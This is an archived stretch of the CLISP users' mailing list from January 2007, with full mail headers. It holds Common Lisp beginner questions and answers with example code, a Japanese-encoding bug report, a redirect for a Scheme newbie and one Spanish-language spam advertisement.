Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: kkylheku@gmail.com Subject: Re: [clisp-list] Backquote bug, would you believe it. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 19 Jan 2007 18:53:43 -0000 Kaz wrote: >I have only CLISP 2.38 installed here, sorry, but I will try it on the >latest version at the soonest opportunity. Fixed since 2006-03-06, i.e. 2.39, by Bruno Haible. >``((,@(quote ,(list 1)) ,@(list 2))) >--> (LIST (APPEND '(1) (LIST 2))) >which is fine. Regards, Jorg Hohle. From bounces@nabble.com Sun Jan 21 15:25:34 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H8m45-0000aM-T1 for clisp-list@lists.sourceforge.net; Sun, 21 Jan 2007 15:25:34 -0800 Received: from www.nabble.com ([72.21.53.35] helo=talk.nabble.com) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1H8m44-0006K0-G0 for clisp-list@lists.sourceforge.net; Sun, 21 Jan 2007 15:25:33 -0800 Received: from [72.21.53.38] (helo=jubjub.nabble.com) by talk.nabble.com with esmtp (Exim 4.50) id 1H8m43-0003Y8-H0 for clisp-list@lists.sourceforge.net; Sun, 21 Jan 2007 15:25:31 -0800 Message-ID: <8481115.post@talk.nabble.com> Date: Sun, 21 Jan 2007 15:25:31 -0800 (PST) From: Hans3 To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: tomkorver@gmail.com X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] A few beginner problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 21 Jan 2007 23:25:34 -0000 Hi, Im a LISP beginner and I would like some help. I have 2 problems that might be easy for an advanced programmer: 1. A function which will interpolate the values of 2 lists in a number of steps, so '(1 1 1 1 1) and '(0.5 1 1.5 2 3) would become: ( 1.000 1.000 1.000 1.000 1.000 0.875 1.000 1.125 1.250 1.500 0.750 1.000 1.250 1.500 2.000 0.625 1.000 1.375 1.750 2.500 0.500 1.000 1.500 2.000 3.000 ) How do I make this? 2. A function that returns a list containing integers between sets of lower and upper boundaries. For example: function 20 26 23 28 would return: (20 21 22 23 24 25 26 27 28) Any even number should be possible. 3. A random generator that chooses values form a list or a stackpile without repeating any values until all have been used once. 4. A random generator that chooses values form a list or a stackpile with a specific weight. Example: (weight '(1 2 3) '(4 2 1)) means that 1 has a weight of 4, 2 has a weight of 2 and 3 has a weight of 1, so 1 will be twice as much in a list that 2 and so on. I would grately appreciate if anyone could tell me how to do this, so I can figure out the rest I want to do. Please help me out! Thanks, Hans -- View this message in context: http://www.nabble.com/A-few-beginner-problems-tf3050986.html#a8481115 Sent from the clisp-list mailing list archive at Nabble.com. From grue@diku.dk Mon Jan 22 01:13:21 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H8vEu-0000pT-LX for clisp-list@lists.sourceforge.net; Mon, 22 Jan 2007 01:13:21 -0800 Received: from mgw1.diku.dk ([130.225.96.91] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H8vEt-0004HR-Tk for clisp-list@lists.sourceforge.net; Mon, 22 Jan 2007 01:13:20 -0800 Received: from localhost (localhost [127.0.0.1]) by mgw1.diku.dk (Postfix) with ESMTP id 81F02770064; Mon, 22 Jan 2007 10:13:15 +0100 (CET) Received: from mgw1.diku.dk ([127.0.0.1]) by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 17738-11; Mon, 22 Jan 2007 10:13:13 +0100 (CET) Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140]) by mgw1.diku.dk (Postfix) with ESMTP id E5E48770029; Mon, 22 Jan 2007 10:13:13 +0100 (CET) Received: from tyr.diku.dk (tyr.diku.dk [130.225.96.226]) by nhugin.diku.dk (Postfix) with ESMTP id 4AD966DF88D; Mon, 22 Jan 2007 10:13:07 +0100 (CET) Received: by tyr.diku.dk (Postfix, from userid 1018) id C067861ACC; Mon, 22 Jan 2007 10:13:13 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by tyr.diku.dk (Postfix) with ESMTP id B6FFA14F83; Mon, 22 Jan 2007 10:13:13 +0100 (CET) Date: Mon, 22 Jan 2007 10:13:13 +0100 (CET) From: Klaus Ebbe Grue To: Hans3 In-Reply-To: <8481115.post@talk.nabble.com> Message-ID: References: <8481115.post@talk.nabble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: amavisd-new at diku.dk X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A few beginner problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 22 Jan 2007 09:13:21 -0000 ;; Hi, ;; Im a LISP beginner and I would like some help. ;; I have 2 problems that might be easy for an advanced programmer: ; I wonder whether or not clisp-list@lists.sourceforge.net is the right ; place to ask such questions. But I had a little spare time this morning, ; so here is a partial answer to question 2 and 3 in case you want to ; write your program in a do-it-yourself-style (which I think is a good ; idea until you are no longer a LISP beginner). (in-package "COMMON-LISP-USER") ;; 2. A function that returns a list containing integers between sets of ;; lower and upper boundaries. For example: function 20 26 23 28 would ;; return: (20 21 22 23 24 25 26 27 28) ; (integer-interval m n) returns the list (m m+1 m+2 ... n) provided ; that m and n are integers and m <= n. (defun integer-interval (m n) (if (< n m) nil (cons m (integer-interval (+ m 1) n)))) ; (integer-interval-1 m n) also returns the list (m m+1 m+2 ... n) ; provided that m and n are integers and m <= n. But it runs faster. (defun integer-interval-1 (m n) (integer-interval-2 m n nil)) ; (integer-interval-2 m n result) returns the list (m m+1 m+2 ... n) ; prepended to the list 'result'. (defun integer-interval-2 (m n result) (if (< n m) result (integer-interval-2 m (- n 1) (cons n result)))) ; The function above is 'tail recursive' in the sense that the very ; last thing it does when (< n m) is false is that it calls *itself*. ; The integer-interval function is not tail recursive: the last thing ; it does when (< n m) is false is that it calls 'cons'. Tail recursive ; functions happen to be faster than other functions on most systems. ; (question-2 s) returns a list with all integers between the smallest and ; largest element of the non-empty list s of integers. As an example, ; (question-2 '(20 26 23 28)) returns (20 21 22 23 24 25 26 27 28) (defun question-2 (s) (integer-interval-1 (apply 'min s) (apply 'max s))) ; The function above uses (apply 'min s) to apply the minimum function to ; the list s to get the smallest element of the list. If you want to do ; that 'yourself' you can use (smallest-element s) instead: (defun smallest-element (s) (if (atom (cdr s)) (car s) (min (car s) (smallest-element (cdr s))))) ; The smallest-element function above is *not* tail recursive. One can make ; it tail recursive and thereby faster using the same trick as the one I ; used for integer-interval above. ;; 3. A random generator that chooses values form a list or a stackpile ;; without repeating any values until all have been used once. ; The following is *not* a solution to your problem. Rather, I solve ; the related problem of constructing a random permutation of the ; integers from m inclusive to n exclusive. Hopefully, you can adapt ; the code to suit your needs ; (random-permutation m n) returns a random permutation of the numbers ; m,m+1,m+2,...,n-1 provided that m and n are integers and m < n. (defun random-permutation (m n) (format t "random-permutation ~s ~s~%" m n) (if (= m (- n 1)) (list m) (random-permutation-1 m (floor (+ m n) 2) n))) ; (random-permutation-1 m d n) returns a random permutation of the numbers ; m,m+1,m+2,...,n-1 provided that m, n, and d are integers and m < d < n. (defun random-permutation-1 (m d n) (format t "random-permutation ~s ~s ~s~%" m d n) (random-merge (- d m) (random-permutation m d) (- n d) (random-permutation d n))) ; (random-merge l1 s1 l2 s2) returns a random merge of the lists s1 and s2 ; provided that l1 is the length of s1 and l2 is the length of s2. When ; merging a short and a long list it picks with largest probability from ; the long list. To get all permutations with even probability it is ; important to pick with probability l1/(l1+l2) from the list of length l1. (defun random-merge (l1 s1 l2 s2) (format t "random-merge ~s ~s~%" l1 l2) (if (= l1 0) s2 (if (= l2 0) s1 (if (< (random (+ l1 l2)) l1) (cons (car s1) (random-merge (- l1 1) (cdr s1) l2 s2)) (cons (car s2) (random-merge (- l2 1) (cdr s2) l1 s1)))))) ; Cheers, ; Klaus From pjb@informatimago.com Mon Jan 22 05:10:19 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H8ywF-000601-5D for clisp-list@lists.sourceforge.net; Mon, 22 Jan 2007 05:10:19 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H8ywD-0004NS-6g for clisp-list@lists.sourceforge.net; Mon, 22 Jan 2007 05:10:19 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id AEDCF586A7; Mon, 22 Jan 2007 14:10:07 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AEFD7585E6; Mon, 22 Jan 2007 14:10:01 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7E13D12AD86; Mon, 22 Jan 2007 14:10:01 +0100 (CET) From: Pascal Bourguignon Message-ID: <17844.47017.377261.438817@thalassa.informatimago.com> Date: Mon, 22 Jan 2007 14:10:01 +0100 To: Hans3 In-Reply-To: <8481115.post@talk.nabble.com> References: <8481115.post@talk.nabble.com> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A few beginner problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 22 Jan 2007 13:10:19 -0000 Hans3 writes: > Im a LISP beginner and I would like some help. > I have 2 problems that might be easy for an advanced programmer: Since this is not specific to clisp, but to Common Lisp, a better forum would be news:comp.lang.lisp =20 > 1. A function which will interpolate the values of 2 lists in a number = of > steps, so '(1 1 1 1 1) and '(0.5 1 1.5 2 3) would become: > ( 1.000 1.000 1.000 1.000 1.000 > 0.875 1.000 1.125 1.250 1.500 > 0.750 1.000 1.250 1.500 2.000 > 0.625 1.000 1.375 1.750 2.500 > 0.500 1.000 1.500 2.000 3.000 ) >=20 > How do I make this? Good question. How do YOU do this? =20 You've got three parameters, a from list, a to list, and a number of steps. So you should write a function: (defun interpolate (from-list to-list number-of-steps) ...) ; fill in the ellipsis. What did you do to get the above example result?=20 (or, if given by your teacher, how would YOU do it with:=20 (interpolate '(0 0 0 0) '(1 2 3 4) 6) ?) One hint: it would be easier/more natural to generate interpolations "line by line": (interpolate '(0 0) '(3 6) 4) --> ((0 0) (1 2) (2 4) (3 6)) If you want the result under the form (0 0 1 2 2 4 3 6), you can always concatenate the resulting sublists in a final step. What we have here is a division of the problem in two easier parts. It's easy ton concatenate lists, and it's easy (or at least easier than the original problem) to generate the interpolations "line by line"). > 2. A function that returns a list containing integers between sets of l= ower > and upper boundaries. For example: function 20 26 23 28 would return: > (20 21 22 23 24 25 26 27 28) > Any even number should be possible. Basically, the answer is the same;. How would YOU do it? How can you divide the problem in simplier subproblems? > 3. A random generator that chooses values form a list or a stackpile wi= thout > repeating any values until all have been used once. Idem. Do you really need to write a random generator (it's hard to do in computers). You could write a pseudo-random generator, but is it what's asked? (There is already a pseudo random generator function in Common Lisp). Perhaps what's asked is only to return the values from the stackpile in a random order? What we have here, is that you'd better know your programming language (and libraries), to be able to use existing operators to your purposes. (And also, becareful with specifications, they are often not precise enough and misleading). =20 > 4. A random generator that chooses values form a list or a stackpile wi= th a > specific weight. Example: (weight '(1 2 3) '(4 2 1)) means that 1 has a > weight of 4, 2 has a weight of 2 and 3 has a weight of 1, so 1 will be = twice > as much in a list that 2 and so on. Idem. =20 Hint: if you have a (pseudo) random generator giving integers between 0 and N-1 inclusive in equiprobability, how do you map these integers to a set of N elements to keep the equiprobability? And would you map these N integers to another set of elements to get different probabilities? > I would grately appreciate if anyone could tell me how to do this, so I= can > figure out the rest I want to do. Please help me out! >=20 > Thanks, Hans --=20 __Pascal Bourguignon__ http://www.informatimago.com/ READ THIS BEFORE OPENING PACKAGE: According to certain suggested versions of the Grand Unified Theory, the primary particles constituting this product may decay to nothingness within the next four hundred million years. From bounces@nabble.com Mon Jan 22 09:49:48 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H93Ii-0003Ti-5Z for clisp-list@lists.sourceforge.net; Mon, 22 Jan 2007 09:49:48 -0800 Received: from www.nabble.com ([72.21.53.35] helo=talk.nabble.com) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1H93Ig-0000MY-SZ for clisp-list@lists.sourceforge.net; Mon, 22 Jan 2007 09:49:48 -0800 Received: from [72.21.53.38] (helo=jubjub.nabble.com) by talk.nabble.com with esmtp (Exim 4.50) id 1H93Ic-0004rX-Da for clisp-list@lists.sourceforge.net; Mon, 22 Jan 2007 09:49:42 -0800 Message-ID: <8506074.post@talk.nabble.com> Date: Mon, 22 Jan 2007 09:49:42 -0800 (PST) From: lisp To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: orianaparo@libero.it X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] substitution X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 22 Jan 2007 17:49:48 -0000 Hi. I'm a newbie and I'm learning Scheme. I'd like to know how I can perform a substitution in a list. I mean: I want to write a function that takes two arguments: a list where the atoms are 1-character strings and a list of replacements (each describing a 1-character string and its 1-character replacement). It should yield the list whic results from performing the substitutions specified in the list pairs on the input list. E.g. substitute ((a (b c) d) a (f b)) ((a z) (b y)) returns the list ((z (y c) d) z (f y)) Thanks in advance. Ori -- View this message in context: http://www.nabble.com/substitution-tf3059188.html#a8506074 Sent from the clisp-list mailing list archive at Nabble.com. From dave@vyatta.com Mon Jan 22 09:58:55 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H93RX-0004Nm-S2 for clisp-list@lists.sourceforge.net; Mon, 22 Jan 2007 09:58:55 -0800 Received: from mail.vyatta.com ([216.93.170.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H93RW-00039F-Kk for clisp-list@lists.sourceforge.net; Mon, 22 Jan 2007 09:58:55 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id CE3E94F82FB; Mon, 22 Jan 2007 09:58:43 -0800 (PST) X-DSPAM-Result: Innocent X-DSPAM-Processed: Mon Jan 22 09:58:43 2007 X-DSPAM-Confidence: 0.9997 X-DSPAM-Probability: 0.0000 X-DSPAM-Signature: 45b4fb53304531540471188 X-DSPAM-Factors: 27, X-Virus-Scanned: amavisd-new at X-Spam-Score: -4.49 X-Spam-Level: X-Spam-Status: No, score=-4.49 tagged_above=-10 required=6.6 tests=[ALL_TRUSTED=-1.8, AWL=0.009, BAYES_00=-2.599, DSPAM_HAM=-0.1] Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id fsAhuCR1os1P; Mon, 22 Jan 2007 09:58:43 -0800 (PST) Received: from [10.0.0.122] (unknown [10.0.0.122]) by mail.vyatta.com (Postfix) with ESMTP id 6E38A4F82F0; Mon, 22 Jan 2007 09:58:43 -0800 (PST) Message-ID: <45B4FB50.2030204@vyatta.com> Date: Mon, 22 Jan 2007 09:58:40 -0800 From: Dave Roberts User-Agent: Thunderbird 2.0b1 (Windows/20061206) MIME-Version: 1.0 To: lisp References: <8506074.post@talk.nabble.com> In-Reply-To: <8506074.post@talk.nabble.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] substitution X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 22 Jan 2007 17:58:56 -0000 lisp wrote: > Hi. I'm a newbie and I'm learning Scheme. Then you are definitely posting this to the *wrong* list. The clisp list is for the discussion of the CLISP Common Lisp *implementation*, not for Scheme-related questions or general Lisp newbie questions. If you have specific questions about CLISP, you are welcome to post them here. For your particular sorts of questions, comp.lang.scheme would be a much better place, although they will tend to get you to solve your own homework problems, rather than simply feeding you answers. You can find comp.lang.scheme on Google Groups. -- Dave From sadrfefelopder@lycos.co.uk Tue Jan 23 01:01:41 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H9HXB-0005X3-RZ for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 01:01:41 -0800 Received: from lmfilto01.st1.spray.net ([212.78.202.65]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H9HXA-0004Tt-9w for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 01:01:40 -0800 Received: from lmfilto01.st1.spray.net (localhost [127.0.0.1]) by lmfilto01-10027.st1.spray.net (Postfix) with ESMTP id 7F618BD3197; Tue, 23 Jan 2007 09:00:19 +0000 (GMT) Received: from localhost (localhost [127.0.0.1]) by lmfilto01-10025.st1.spray.net (Postfix) with ESMTP id 506FCBD30C8; Tue, 23 Jan 2007 09:00:19 +0000 (GMT) Received: from cmcodec02.st1.spray.net (localhost [127.0.0.1]) by cmcodec02.st1.spray.net (Postfix) with SMTP id CF3AD15065; Tue, 23 Jan 2007 09:00:18 +0000 (GMT) Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys From: "=?iso-8859-1?Q?Euro_Systems?=" To: Date: Tue, 23 Jan 2007 03:56:12 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-Id: <20070123090018.CF3AD15065@cmcodec02.st1.spray.net> X-Lycos-AS: 3.00 X-Lycos-AV: OK X-Lycos-IS: NO X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] =?iso-8859-1?q?Proteja_a_su_familia_de_los_males_res?= =?iso-8859-1?q?piratorios=2E_Publicidad?= X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: eurosystems2005@yahoo.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 23 Jan 2007 09:01:42 -0000 Estimados Se=F1ores: GISOWATT Industria electtrodomestici de ITALIA, ha desarrollado el SISTEMA HIDROFILTRANTE DE LIMPIEZA ANTIALERGICA(tambien conocido como Water Filter System), denominado AGUAFILTER. Si uds. utilizan escobas, plumeros, trapeadores, franelas, aspiradoras de=20 bolsa, tiene alfombras, mascotas, etc. LA SALUD DE UD. Y SU FAMILIA PUEDEN VERSE AFECTADAS CON MUCHOS SINTOMAS: Rinitis, asma, dolores de cabeza, tos, estornudos, resfriados frecuentes, picaz=F3n de la nariz, irritaci=F3n en lo= s ojos, enfermedades de la piel y diferentes tipos de manifestaciones al=E9rgi= cas. ELIMINE LOS METODOS TRADICIONALES DE LIMPIEZA (solo transladan la poluci=F3n= de un lugar a otro). La exposici=F3n constante es perjudicial para la salud, se= gun estudios cientificos. PREOC=DAPESE por cambiar estos h=E1bitos de limpieza tradicionales y elimina= r los alergenos mejorando su calidad de vida, CON EL PODER DEL AGUA Y EL EFECTO CICLON del equipo AGUAFILTER sistema fabricado por GISOWATT de ITALIA y podr= =E1 tener =E9stos y m=FAltiples beneficios que bien merecen la pena conocerlos. NO SE ARREPENTIRA..... Sin embargo, lo m=E1s importante es que, con solo llamarnos es usted acreedo= r a una Sesi=F3n de Higienizaci=F3n de Cortesia, totalmente gratuita y sin com= promiso consistente en el tratamiento del aire de una habitaci=F3n(preferentemente d= e la persona al=E9rgica), limpieza profunda del colch=F3n y almohadas, aromatizac= i=F3n del ambiente y prueba de eficiencia sobre alfombra y podr=E1 de esta manera apreciar en su propia casa u oficina los beneficios y ventajas de este talen= toso e innovador Sistema Italiano. EURO SYSTEM EIRL, distribuidor exclusivo para Per=FA. TELEFONO: 346=2D2529 CELULARES: 9808=2D6866 / 9966=2D2127 ATENCI=D3N: LUNES A VIERNES DE 9:00 A 15:00 HORAS EMAIL: eurosystems2005@yahoo.com responda en blanco para remov. From grue@diku.dk Tue Jan 23 06:50:57 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H9MzB-0005Pj-Fu for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 06:50:57 -0800 Received: from mgw1.diku.dk ([130.225.96.91] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H9MzA-0006l9-Rf for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 06:50:57 -0800 Received: from localhost (localhost [127.0.0.1]) by mgw1.diku.dk (Postfix) with ESMTP id F15477700B8 for ; Tue, 23 Jan 2007 15:50:42 +0100 (CET) Received: from mgw1.diku.dk ([127.0.0.1]) by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 27051-16 for ; Tue, 23 Jan 2007 15:50:37 +0100 (CET) Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140]) by mgw1.diku.dk (Postfix) with ESMTP id 786CD770097 for ; Tue, 23 Jan 2007 15:50:37 +0100 (CET) Received: from tyr.diku.dk (tyr.diku.dk [130.225.96.226]) by nhugin.diku.dk (Postfix) with ESMTP id 130FF6DF835 for ; Tue, 23 Jan 2007 15:50:29 +0100 (CET) Received: by tyr.diku.dk (Postfix, from userid 1018) id 5212A61ACE; Tue, 23 Jan 2007 15:50:37 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by tyr.diku.dk (Postfix) with ESMTP id 474F014F89 for ; Tue, 23 Jan 2007 15:50:37 +0100 (CET) Date: Tue, 23 Jan 2007 15:50:37 +0100 (CET) From: Klaus Ebbe Grue To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: <8481115.post@talk.nabble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: amavisd-new at diku.dk X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] ISO-2022-JP X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 23 Jan 2007 14:50:57 -0000 Hi clisp-list@lists.sourceforge.net, If I type (map 'list 'char-code (convert-string-from-bytes #(65 92 27 40 74 92 168) (make-encoding :charset "ISO-2022-JP" :line-terminator :unix :input-error-action #\Null :output-error-action #\Null))) then I get (65 92 165 0) The input #(65 92 27 40 74 92 168) consists of an ascii A (65), an ascii backslash (92), a shift to Japanese sequence (27 40 74), a yen sign (92) and a katakana glyph (168). The output (65 92 165 0) consists of an ascii A (65), an ascii backslash (92) a yen sign (165) and an invalid character (0). So the shift to Japanese sequence (27 40 74) seems to be recognized, but katakana (code 161-223) does not seem to be recognized. Any suggestions? Cheers, Klaus --- [grue@thor grue]$ clisp --version GNU CLISP 2.41 (2006-10-13) (built 3370084031) (memory 3370084648) Software: GNU C 3.2 20020903 (Red Hat Linux 8.0 3.2-7) gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.so -Wl,-rpath -Wl,/usr/local/lib -lncurses -ldl -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libreadline 5.1 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/local/lib/clisp/ User language: ENGLISH Machine: I686 (I686) thor.yoa.dk [127.0.0.1] From steve.morin@gmail.com Tue Jan 23 09:04:05 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H9P40-000551-QT for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 09:04:05 -0800 Received: from nf-out-0910.google.com ([64.233.182.190]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H9P3w-0004pT-40 for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 09:04:01 -0800 Received: by nf-out-0910.google.com with SMTP id c31so612724nfb for ; Tue, 23 Jan 2007 09:03:46 -0800 (PST) Received: by 10.49.54.3 with SMTP id g3mr1442669nfk.1169571826675; Tue, 23 Jan 2007 09:03:46 -0800 (PST) Received: by 10.49.71.8 with HTTP; Tue, 23 Jan 2007 09:03:46 -0800 (PST) Message-ID: Date: Tue, 23 Jan 2007 12:03:46 -0500 From: "Steve Morin" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Clisp debugging a good tutorial? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 23 Jan 2007 17:04:05 -0000 Sorry for posting this, 